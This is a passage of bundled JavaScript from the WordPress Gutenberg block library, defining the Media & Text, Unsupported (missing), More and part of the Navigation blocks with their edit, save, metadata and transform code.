            enableResize: blockEditingMode === &quot;default&quot;,
            toggleUseFeaturedImage,
            ...{
              focalPoint,
              imageFill,
              isSelected,
              isStackedOnMobile,
              mediaAlt,
              mediaId,
              mediaPosition: mediaPosition3,
              mediaType,
              mediaUrl,
              mediaWidth,
              useFeaturedImage,
              featuredImageURL,
              featuredImageAlt
            }
          }
        ),
        mediaPosition3 !== &quot;right&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(&quot;div&quot;, { ...innerBlocksProps })
      ] })
    ] });
  }
  var edit_default19 = MediaTextEdit;

  // packages/block-library/build-module/media-text/block.json
  var block_default51 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/media-text&quot;,
    title: &quot;Media &amp; Text&quot;,
    category: &quot;media&quot;,
    description: &quot;Set media and words side-by-side for a richer layout.&quot;,
    keywords: [&quot;image&quot;, &quot;video&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      align: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      },
      mediaAlt: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure img&quot;,
        attribute: &quot;alt&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      mediaPosition: {
        type: &quot;string&quot;,
        default: &quot;left&quot;
      },
      mediaId: {
        type: &quot;number&quot;,
        role: &quot;content&quot;
      },
      mediaUrl: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure video,figure img&quot;,
        attribute: &quot;src&quot;,
        role: &quot;content&quot;
      },
      mediaLink: {
        type: &quot;string&quot;
      },
      linkDestination: {
        type: &quot;string&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure a&quot;,
        attribute: &quot;target&quot;
      },
      href: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure a&quot;,
        attribute: &quot;href&quot;,
        role: &quot;content&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure a&quot;,
        attribute: &quot;rel&quot;
      },
      linkClass: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;figure a&quot;,
        attribute: &quot;class&quot;
      },
      mediaType: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      mediaWidth: {
        type: &quot;number&quot;,
        default: 50
      },
      mediaSizeSlug: {
        type: &quot;string&quot;
      },
      isStackedOnMobile: {
        type: &quot;boolean&quot;,
        default: true
      },
      verticalAlignment: {
        type: &quot;string&quot;
      },
      imageFill: {
        type: &quot;boolean&quot;
      },
      focalPoint: {
        type: &quot;object&quot;
      },
      useFeaturedImage: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    usesContext: [&quot;postId&quot;, &quot;postType&quot;],
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      allowedBlocks: true
    },
    editorStyle: &quot;wp-block-media-text-editor&quot;,
    style: &quot;wp-block-media-text&quot;
  };

  // packages/block-library/build-module/media-text/save.mjs
  var import_block_editor136 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime298 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_MEDIA_WIDTH2 = 50;
  var noop3 = () =&gt; {
  };
  function save30({ attributes: attributes2 }) {
    const {
      isStackedOnMobile,
      mediaAlt,
      mediaPosition: mediaPosition3,
      mediaType,
      mediaUrl,
      mediaWidth,
      mediaId,
      verticalAlignment,
      imageFill,
      focalPoint,
      linkClass,
      href,
      linkTarget,
      rel
    } = attributes2;
    const mediaSizeSlug = attributes2.mediaSizeSlug || DEFAULT_MEDIA_SIZE_SLUG4;
    const newRel = !rel ? void 0 : rel;
    const imageClasses = clsx_default({
      [`wp-image-${mediaId}`]: mediaId &amp;&amp; mediaType === &quot;image&quot;,
      [`size-${mediaSizeSlug}`]: mediaId &amp;&amp; mediaType === &quot;image&quot;
    });
    const positionStyles = imageFill ? imageFillStyles(mediaUrl, focalPoint) : {};
    let image = mediaUrl ? /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(
      &quot;img&quot;,
      {
        src: mediaUrl,
        alt: mediaAlt,
        className: imageClasses || null,
        style: positionStyles
      }
    ) : null;
    if (href) {
      image = /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(
        &quot;a&quot;,
        {
          className: linkClass,
          href,
          target: linkTarget,
          rel: newRel,
          children: image
        }
      );
    }
    const mediaTypeRenders = {
      image: () =&gt; image,
      video: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(&quot;video&quot;, { controls: true, src: mediaUrl })
    };
    const className = clsx_default({
      &quot;has-media-on-the-right&quot;: &quot;right&quot; === mediaPosition3,
      &quot;is-stacked-on-mobile&quot;: isStackedOnMobile,
      [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
      &quot;is-image-fill-element&quot;: imageFill
    });
    let gridTemplateColumns;
    if (mediaWidth !== DEFAULT_MEDIA_WIDTH2) {
      gridTemplateColumns = &quot;right&quot; === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
    }
    const style2 = {
      gridTemplateColumns
    };
    if (&quot;right&quot; === mediaPosition3) {
      return /* @__PURE__ */ (0, import_jsx_runtime298.jsxs)(&quot;div&quot;, { ...import_block_editor136.useBlockProps.save({ className, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(
          &quot;div&quot;,
          {
            ...import_block_editor136.useInnerBlocksProps.save({
              className: &quot;wp-block-media-text__content&quot;
            })
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(&quot;figure&quot;, { className: &quot;wp-block-media-text__media&quot;, children: (mediaTypeRenders[mediaType] || noop3)() })
      ] });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime298.jsxs)(&quot;div&quot;, { ...import_block_editor136.useBlockProps.save({ className, style: style2 }), children: [
      /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(&quot;figure&quot;, { className: &quot;wp-block-media-text__media&quot;, children: (mediaTypeRenders[mediaType] || noop3)() }),
      /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(
        &quot;div&quot;,
        {
          ...import_block_editor136.useInnerBlocksProps.save({
            className: &quot;wp-block-media-text__content&quot;
          })
        }
      )
    ] });
  }

  // packages/block-library/build-module/media-text/transforms.mjs
  var import_blocks50 = __toESM(require_blocks(), 1);
  var transforms16 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/image&quot;],
        transform: ({ alt, url, id, anchor }) =&gt; (0, import_blocks50.createBlock)(&quot;core/media-text&quot;, {
          mediaAlt: alt,
          mediaId: id,
          mediaUrl: url,
          mediaType: &quot;image&quot;,
          anchor
        })
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/video&quot;],
        transform: ({ src, id, anchor }) =&gt; (0, import_blocks50.createBlock)(&quot;core/media-text&quot;, {
          mediaId: id,
          mediaUrl: src,
          mediaType: &quot;video&quot;,
          anchor
        })
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/cover&quot;],
        transform: ({
          align,
          alt,
          anchor,
          backgroundType,
          customGradient,
          customOverlayColor,
          gradient,
          id,
          overlayColor,
          style: style2,
          textColor,
          url,
          useFeaturedImage
        }, innerBlocks) =&gt; {
          let additionalAttributes = {};
          if (customGradient) {
            additionalAttributes = {
              style: {
                color: {
                  gradient: customGradient
                }
              }
            };
          } else if (customOverlayColor) {
            additionalAttributes = {
              style: {
                color: {
                  background: customOverlayColor
                }
              }
            };
          }
          if (style2?.color?.text) {
            additionalAttributes.style = {
              color: {
                ...additionalAttributes.style?.color,
                text: style2.color.text
              }
            };
          }
          return (0, import_blocks50.createBlock)(
            &quot;core/media-text&quot;,
            {
              align,
              anchor,
              backgroundColor: overlayColor,
              gradient,
              mediaAlt: alt,
              mediaId: id,
              mediaType: backgroundType,
              mediaUrl: url,
              textColor,
              useFeaturedImage,
              ...additionalAttributes
            },
            innerBlocks
          );
        }
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/image&quot;],
        isMatch: ({ mediaType, mediaUrl }) =&gt; {
          return !mediaUrl || mediaType === &quot;image&quot;;
        },
        transform: ({ mediaAlt, mediaId, mediaUrl, anchor }) =&gt; {
          return (0, import_blocks50.createBlock)(&quot;core/image&quot;, {
            alt: mediaAlt,
            id: mediaId,
            url: mediaUrl,
            anchor
          });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/video&quot;],
        isMatch: ({ mediaType, mediaUrl }) =&gt; {
          return !mediaUrl || mediaType === &quot;video&quot;;
        },
        transform: ({ mediaId, mediaUrl, anchor }) =&gt; {
          return (0, import_blocks50.createBlock)(&quot;core/video&quot;, {
            id: mediaId,
            src: mediaUrl,
            anchor
          });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/cover&quot;],
        transform: ({
          align,
          anchor,
          backgroundColor,
          focalPoint,
          gradient,
          mediaAlt,
          mediaId,
          mediaType,
          mediaUrl,
          style: style2,
          textColor,
          useFeaturedImage
        }, innerBlocks) =&gt; {
          const additionalAttributes = {};
          if (style2?.color?.gradient) {
            additionalAttributes.customGradient = style2.color.gradient;
          } else if (style2?.color?.background) {
            additionalAttributes.customOverlayColor = style2.color.background;
          }
          if (style2?.color?.text) {
            additionalAttributes.style = {
              color: { text: style2.color.text }
            };
          }
          const coverAttributes = {
            align,
            alt: mediaAlt,
            anchor,
            backgroundType: mediaType,
            dimRatio: !!mediaUrl || useFeaturedImage ? 50 : 100,
            focalPoint,
            gradient,
            id: mediaId,
            overlayColor: backgroundColor,
            textColor,
            url: mediaUrl,
            useFeaturedImage,
            ...additionalAttributes
          };
          return (0, import_blocks50.createBlock)(
            &quot;core/cover&quot;,
            coverAttributes,
            innerBlocks
          );
        }
      }
    ]
  };
  var transforms_default17 = transforms16;

  // packages/block-library/build-module/media-text/index.mjs
  var { fieldsKey: fieldsKey10, formKey: formKey10 } = unlock(import_blocks51.privateApis);
  var { name: name51 } = block_default51;
  var settings51 = {
    icon: media_and_text_default,
    example: {
      viewportWidth: 601,
      // Columns collapse &quot;@media (max-width: 600px)&quot;.
      attributes: {
        mediaType: &quot;image&quot;,
        mediaUrl: &quot;https://s.w.org/images/core/5.3/Biologia_Centrali-Americana_-_Cantorchilus_semibadius_1902.jpg&quot;
      },
      innerBlocks: [
        {
          name: &quot;core/paragraph&quot;,
          attributes: {
            content: (0, import_i18n108.__)(
              &quot;The wren&lt;br&gt;Earns his living&lt;br&gt;Noiselessly.&quot;
            )
          }
        },
        {
          name: &quot;core/paragraph&quot;,
          attributes: {
            content: (0, import_i18n108.__)(&quot;\u2014 Kobayashi Issa (\u4E00\u8336)&quot;)
          }
        }
      ]
    },
    transforms: transforms_default17,
    edit: edit_default19,
    save: save30,
    deprecated: deprecated_default27
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings51[fieldsKey10] = [
      {
        id: &quot;media&quot;,
        label: (0, import_i18n108.__)(&quot;Media&quot;),
        type: &quot;media&quot;,
        Edit: {
          control: &quot;media&quot;,
          // TODO: replace with custom component
          allowedTypes: [&quot;image&quot;, &quot;video&quot;],
          multiple: false
        },
        getValue: ({ item }) =&gt; ({
          id: item.mediaId,
          url: item.mediaUrl,
          mediaType: item.mediaType,
          link: item.mediaLink
        }),
        setValue: ({ value }) =&gt; ({
          mediaId: value.id,
          mediaUrl: value.url,
          mediaType: value.mediaType,
          mediaLink: value.link
        })
      },
      {
        id: &quot;link&quot;,
        label: (0, import_i18n108.__)(&quot;Link&quot;),
        type: &quot;url&quot;,
        Edit: &quot;link&quot;,
        // TODO: replace with custom component
        getValue: ({ item }) =&gt; ({
          url: item.href,
          rel: item.rel,
          linkTarget: item.linkTarget
        }),
        setValue: ({ value }) =&gt; ({
          href: value.url,
          rel: value.rel,
          linkTarget: value.linkTarget
        })
      }
    ];
    settings51[formKey10] = {
      fields: [&quot;media&quot;, &quot;link&quot;]
    };
  }
  var init51 = () =&gt; initBlock({ name: name51, metadata: block_default51, settings: settings51 });

  // packages/block-library/build-module/missing/index.mjs
  var missing_exports = {};
  __export(missing_exports, {
    init: () =&gt; init52,
    metadata: () =&gt; block_default52,
    name: () =&gt; name52,
    settings: () =&gt; settings52
  });
  var import_blocks53 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/missing/edit.mjs
  var import_i18n109 = __toESM(require_i18n(), 1);
  var import_element56 = __toESM(require_element(), 1);
  var import_components67 = __toESM(require_components(), 1);
  var import_blocks52 = __toESM(require_blocks(), 1);
  var import_data60 = __toESM(require_data(), 1);
  var import_block_editor137 = __toESM(require_block_editor(), 1);
  var import_dom4 = __toESM(require_dom(), 1);
  var import_jsx_runtime299 = __toESM(require_jsx_runtime(), 1);
  function MissingEdit({ attributes: attributes2, clientId }) {
    const { originalName, originalUndelimitedContent } = attributes2;
    const hasContent = !!originalUndelimitedContent;
    const { hasFreeformBlock, hasHTMLBlock } = (0, import_data60.useSelect)(
      (select9) =&gt; {
        const { canInsertBlockType, getBlockRootClientId } = select9(import_block_editor137.store);
        return {
          hasFreeformBlock: canInsertBlockType(
            &quot;core/freeform&quot;,
            getBlockRootClientId(clientId)
          ),
          hasHTMLBlock: canInsertBlockType(
            &quot;core/html&quot;,
            getBlockRootClientId(clientId)
          )
        };
      },
      [clientId]
    );
    const { replaceBlock } = (0, import_data60.useDispatch)(import_block_editor137.store);
    function convertToHTML() {
      replaceBlock(
        clientId,
        (0, import_blocks52.createBlock)(&quot;core/html&quot;, {
          content: originalUndelimitedContent
        })
      );
    }
    const actions = [];
    let messageHTML;
    const convertToHtmlButton = /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(
      import_components67.Button,
      {
        __next40pxDefaultSize: true,
        onClick: convertToHTML,
        variant: &quot;primary&quot;,
        children: (0, import_i18n109.__)(&quot;Keep as HTML&quot;)
      },
      &quot;convert&quot;
    );
    if (hasContent &amp;&amp; !hasFreeformBlock &amp;&amp; (!originalName || originalName === &quot;core/freeform&quot;)) {
      if (hasHTMLBlock) {
        messageHTML = (0, import_i18n109.__)(
          &quot;It appears you are trying to use the deprecated Classic block. You can leave this block intact, convert its content to a Custom HTML block, or remove it entirely. Alternatively, if you have unsaved changes, you can save them and refresh to use the Classic block.&quot;
        );
        actions.push(convertToHtmlButton);
      } else {
        messageHTML = (0, import_i18n109.__)(
          &quot;It appears you are trying to use the deprecated Classic block. You can leave this block intact, or remove it entirely. Alternatively, if you have unsaved changes, you can save them and refresh to use the Classic block.&quot;
        );
      }
    } else if (hasContent &amp;&amp; hasHTMLBlock) {
      messageHTML = (0, import_i18n109.sprintf)(
        /* translators: %s: block name */
        (0, import_i18n109.__)(
          &#039;Your site doesn\u2019t include support for the &quot;%s&quot; block. You can leave it as-is, convert it to custom HTML, or remove it.&#039;
        ),
        originalName
      );
      actions.push(convertToHtmlButton);
    } else {
      messageHTML = (0, import_i18n109.sprintf)(
        /* translators: %s: block name */
        (0, import_i18n109.__)(
          &#039;Your site doesn\u2019t include support for the &quot;%s&quot; block. You can leave it as-is or remove it.&#039;
        ),
        originalName
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime299.jsxs)(&quot;div&quot;, { ...(0, import_block_editor137.useBlockProps)({ className: &quot;has-warning&quot; }), children: [
      /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(import_block_editor137.Warning, { actions, children: messageHTML }),
      /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(import_element56.RawHTML, { children: (0, import_dom4.safeHTML)(originalUndelimitedContent) })
    ] });
  }

  // packages/block-library/build-module/missing/block.json
  var block_default52 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/missing&quot;,
    title: &quot;Unsupported&quot;,
    category: &quot;text&quot;,
    description: &quot;Your site doesn\u2019t include support for this block.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      originalName: {
        type: &quot;string&quot;
      },
      originalUndelimitedContent: {
        type: &quot;string&quot;
      },
      originalContent: {
        type: &quot;string&quot;,
        source: &quot;raw&quot;
      }
    },
    supports: {
      className: false,
      customClassName: false,
      inserter: false,
      html: false,
      lock: false,
      reusable: false,
      renaming: false,
      visibility: false,
      interactivity: {
        clientNavigation: true
      },
      customCSS: false
    }
  };

  // packages/block-library/build-module/missing/save.mjs
  var import_element57 = __toESM(require_element(), 1);
  var import_jsx_runtime300 = __toESM(require_jsx_runtime(), 1);
  function save31({ attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime300.jsx)(import_element57.RawHTML, { children: attributes2.originalContent });
  }

  // packages/block-library/build-module/missing/index.mjs
  var { name: name52 } = block_default52;
  var settings52 = {
    name: name52,
    __experimentalLabel(attributes2, { context }) {
      if (context === &quot;accessibility&quot;) {
        const { originalName } = attributes2;
        const originalBlockType = originalName ? (0, import_blocks53.getBlockType)(originalName) : void 0;
        if (originalBlockType) {
          return originalBlockType.settings.title || originalName;
        }
        return &quot;&quot;;
      }
    },
    edit: MissingEdit,
    save: save31
  };
  var init52 = () =&gt; initBlock({ name: name52, metadata: block_default52, settings: settings52 });

  // packages/block-library/build-module/more/index.mjs
  var more_exports = {};
  __export(more_exports, {
    init: () =&gt; init53,
    metadata: () =&gt; block_default53,
    name: () =&gt; name53,
    settings: () =&gt; settings53
  });
  var import_i18n111 = __toESM(require_i18n(), 1);
  var import_blocks56 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/more/edit.mjs
  var import_i18n110 = __toESM(require_i18n(), 1);
  var import_components68 = __toESM(require_components(), 1);
  var import_block_editor138 = __toESM(require_block_editor(), 1);
  var import_blocks54 = __toESM(require_blocks(), 1);
  var import_jsx_runtime301 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_TEXT = (0, import_i18n110.__)(&quot;Read more&quot;);
  function MoreEdit({
    attributes: { customText, noTeaser },
    insertBlocksAfter,
    setAttributes
  }) {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime301.jsxs)(import_jsx_runtime301.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(import_block_editor138.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(
        import_components68.__experimentalToolsPanel,
        {
          label: (0, import_i18n110.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              noTeaser: false
            });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(
            import_components68.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n110.__)(&quot;Hide excerpt&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; noTeaser,
              onDeselect: () =&gt; setAttributes({ noTeaser: false }),
              children: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(
                import_components68.ToggleControl,
                {
                  label: (0, import_i18n110.__)(
                    &quot;Hide the excerpt on the full content page&quot;
                  ),
                  checked: !!noTeaser,
                  onChange: () =&gt; setAttributes({ noTeaser: !noTeaser }),
                  help: (checked) =&gt; checked ? (0, import_i18n110.__)(&quot;The excerpt is hidden.&quot;) : (0, import_i18n110.__)(&quot;The excerpt is visible.&quot;)
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(&quot;div&quot;, { ...(0, import_block_editor138.useBlockProps)(), children: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(
        import_block_editor138.PlainText,
        {
          __experimentalVersion: 2,
          tagName: &quot;span&quot;,
          &quot;aria-label&quot;: (0, import_i18n110.__)(&#039;&quot;Read more&quot; text&#039;),
          value: customText,
          placeholder: DEFAULT_TEXT,
          onChange: (value) =&gt; setAttributes({ customText: value }),
          disableLineBreaks: true,
          __unstableOnSplitAtEnd: () =&gt; insertBlocksAfter(
            (0, import_blocks54.createBlock)((0, import_blocks54.getDefaultBlockName)())
          )
        }
      ) })
    ] });
  }

  // packages/block-library/build-module/more/block.json
  var block_default53 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/more&quot;,
    title: &quot;More&quot;,
    category: &quot;design&quot;,
    description: &quot;Content before this block will be shown in the excerpt on your archives page.&quot;,
    keywords: [&quot;read more&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      customText: {
        type: &quot;string&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      noTeaser: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    supports: {
      customClassName: false,
      className: false,
      html: false,
      multiple: false,
      visibility: false,
      interactivity: {
        clientNavigation: true
      },
      customCSS: false
    },
    editorStyle: &quot;wp-block-more-editor&quot;
  };

  // packages/block-library/build-module/more/save.mjs
  var import_element58 = __toESM(require_element(), 1);
  var import_jsx_runtime302 = __toESM(require_jsx_runtime(), 1);
  function save32({ attributes: { customText, noTeaser } }) {
    const moreTag = customText ? `&lt;!--more ${customText}--&gt;` : &quot;&lt;!--more--&gt;&quot;;
    const noTeaserTag = noTeaser ? &quot;&lt;!--noteaser--&gt;&quot; : &quot;&quot;;
    return /* @__PURE__ */ (0, import_jsx_runtime302.jsx)(import_element58.RawHTML, { children: [moreTag, noTeaserTag].filter(Boolean).join(&quot;\n&quot;) });
  }

  // packages/block-library/build-module/more/transforms.mjs
  var import_blocks55 = __toESM(require_blocks(), 1);
  var transforms17 = {
    from: [
      {
        type: &quot;raw&quot;,
        schema: {
          &quot;wp-block&quot;: { attributes: [&quot;data-block&quot;] }
        },
        isMatch: (node) =&gt; node.dataset &amp;&amp; node.dataset.block === &quot;core/more&quot;,
        transform(node) {
          const { customText, noTeaser } = node.dataset;
          const attrs = {};
          if (customText) {
            attrs.customText = customText;
          }
          if (noTeaser === &quot;&quot;) {
            attrs.noTeaser = true;
          }
          return (0, import_blocks55.createBlock)(&quot;core/more&quot;, attrs);
        }
      }
    ]
  };
  var transforms_default18 = transforms17;

  // packages/block-library/build-module/more/index.mjs
  var { fieldsKey: fieldsKey11, formKey: formKey11 } = unlock(import_blocks56.privateApis);
  var { name: name53 } = block_default53;
  var settings53 = {
    icon: more_default,
    example: {},
    __experimentalLabel(attributes2, { context }) {
      const customName = attributes2?.metadata?.name;
      if ((context === &quot;list-view&quot; || context === &quot;breadcrumb&quot;) &amp;&amp; customName) {
        return customName;
      }
      if (context === &quot;accessibility&quot;) {
        return attributes2.customText;
      }
    },
    transforms: transforms_default18,
    edit: MoreEdit,
    save: save32
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings53[fieldsKey11] = [
      {
        id: &quot;customText&quot;,
        label: (0, import_i18n111.__)(&quot;Content&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings53[formKey11] = {
      fields: [&quot;customText&quot;]
    };
  }
  var init53 = () =&gt; initBlock({ name: name53, metadata: block_default53, settings: settings53 });

  // packages/block-library/build-module/navigation/index.mjs
  var navigation_exports = {};
  __export(navigation_exports, {
    init: () =&gt; init54,
    metadata: () =&gt; block_default54,
    name: () =&gt; name54,
    settings: () =&gt; settings54
  });
  var import_i18n142 = __toESM(require_i18n(), 1);
  var import_data87 = __toESM(require_data(), 1);
  var import_core_data50 = __toESM(require_core_data(), 1);
  var import_html_entities7 = __toESM(require_html_entities(), 1);

  // packages/block-library/build-module/navigation/block.json
  var block_default54 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/navigation&quot;,
    title: &quot;Navigation&quot;,
    category: &quot;theme&quot;,
    allowedBlocks: [
      &quot;core/navigation-link&quot;,
      &quot;core/search&quot;,
      &quot;core/social-links&quot;,
      &quot;core/page-list&quot;,
      &quot;core/spacer&quot;,
      &quot;core/home-link&quot;,
      &quot;core/icon&quot;,
      &quot;core/site-title&quot;,
      &quot;core/site-logo&quot;,
      &quot;core/navigation-submenu&quot;,
      &quot;core/loginout&quot;,
      &quot;core/buttons&quot;
    ],
    description: &quot;A collection of blocks that allow visitors to get around your site.&quot;,
    keywords: [&quot;menu&quot;, &quot;navigation&quot;, &quot;links&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      ref: {
        type: &quot;number&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      customTextColor: {
        type: &quot;string&quot;
      },
      rgbTextColor: {
        type: &quot;string&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      customBackgroundColor: {
        type: &quot;string&quot;
      },
      rgbBackgroundColor: {
        type: &quot;string&quot;
      },
      showSubmenuIcon: {
        type: &quot;boolean&quot;,
        default: true
      },
      submenuVisibility: {
        type: &quot;string&quot;,
        enum: [&quot;hover&quot;, &quot;click&quot;, &quot;always&quot;],
        default: &quot;hover&quot;
      },
      overlayMenu: {
        type: &quot;string&quot;,
        default: &quot;mobile&quot;
      },
      overlay: {
        type: &quot;string&quot;
      },
      icon: {
        type: &quot;string&quot;,
        default: &quot;handle&quot;
      },
      hasIcon: {
        type: &quot;boolean&quot;,
        default: true
      },
      __unstableLocation: {
        type: &quot;string&quot;
      },
      overlayBackgroundColor: {
        type: &quot;string&quot;
      },
      customOverlayBackgroundColor: {
        type: &quot;string&quot;
      },
      overlayTextColor: {
        type: &quot;string&quot;
      },
      customOverlayTextColor: {
        type: &quot;string&quot;
      },
      maxNestingLevel: {
        type: &quot;number&quot;,
        default: 5
      },
      templateLock: {
        type: [&quot;string&quot;, &quot;boolean&quot;],
        enum: [&quot;all&quot;, &quot;insert&quot;, &quot;contentOnly&quot;, false]
      }
    },
    providesContext: {
      textColor: &quot;textColor&quot;,
      customTextColor: &quot;customTextColor&quot;,
      backgroundColor: &quot;backgroundColor&quot;,
      customBackgroundColor: &quot;customBackgroundColor&quot;,
      overlayTextColor: &quot;overlayTextColor&quot;,
      customOverlayTextColor: &quot;customOverlayTextColor&quot;,
      overlayBackgroundColor: &quot;overlayBackgroundColor&quot;,
      customOverlayBackgroundColor: &quot;customOverlayBackgroundColor&quot;,
      fontSize: &quot;fontSize&quot;,
      customFontSize: &quot;customFontSize&quot;,
      showSubmenuIcon: &quot;showSubmenuIcon&quot;,
      submenuVisibility: &quot;submenuVisibility&quot;,
      openSubmenusOnClick: &quot;openSubmenusOnClick&quot;,
      style: &quot;style&quot;,
      maxNestingLevel: &quot;maxNestingLevel&quot;
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      ariaLabel: true,
      contentRole: true,
      html: false,
      inserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        __experimentalFontFamily: true,
        __experimentalLetterSpacing: true,
        __experimentalTextDecoration: true,
        __experimentalSkipSerialization: [&quot;textDecoration&quot;],
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        blockGap: true,
        units: [&quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;vh&quot;, &quot;vw&quot;],
        __experimentalDefaultControls: {
          blockGap: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        allowVerticalAlignment: false,
        allowSizingOnChildren: true,
        default: {
          type: &quot;flex&quot;
        }
      },
      interactivity: true,
      renaming: false
    },
    editorStyle: &quot;wp-block-navigation-editor&quot;,
    style: &quot;wp-block-navigation&quot;
  };

  // packages/block-library/build-module/navigation/edit/index.mjs
  var import_element80 = __toESM(require_element(), 1);
  var import_block_editor157 = __toESM(require_block_editor(), 1);
  var import_core_data49 = __toESM(require_core_data(), 1);
  var import_data86 = __toESM(require_data(), 1);
  var import_components93 = __toESM(require_components(), 1);
  var import_i18n141 = __toESM(require_i18n(), 1);
  var import_a11y3 = __toESM(require_a11y(), 1);
  var import_blocks62 = __toESM(require_blocks(), 1);
  var import_compose35 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/navigation/use-navigation-menu.mjs
  var import_core_data26 = __toESM(require_core_data(), 1);
  var import_data61 = __toESM(require_data(), 1);

  // packages/block-library/build-module/navigation/constants.mjs
  var DEFAULT_BLOCK5 = {
    name: &quot;core/navigation-link&quot;,
    attributes: {
      kind: &quot;post-type&quot;,
      type: &quot;page&quot;
    }
  };
  var PRIORITIZED_INSERTER_BLOCKS = [
    &quot;core/navigation-link/page&quot;,
    &quot;core/navigation-link&quot;
  ];
  var PRELOADED_NAVIGATION_MENUS_QUERY = {
    per_page: 100,
    status: [&quot;publish&quot;, &quot;draft&quot;],
    order: &quot;desc&quot;,
    orderby: &quot;date&quot;
  };
  var SELECT_NAVIGATION_MENUS_ARGS = [
    &quot;postType&quot;,
    &quot;wp_navigation&quot;,
    PRELOADED_NAVIGATION_MENUS_QUERY
  ];
  var NAVIGATION_OVERLAY_TEMPLATE_PART_AREA = &quot;navigation-overlay&quot;;

  // packages/block-library/build-module/navigation/use-navigation-menu.mjs
  function useNavigationMenu(ref) {
    const permissions = (0, import_core_data26.useResourcePermissions)({
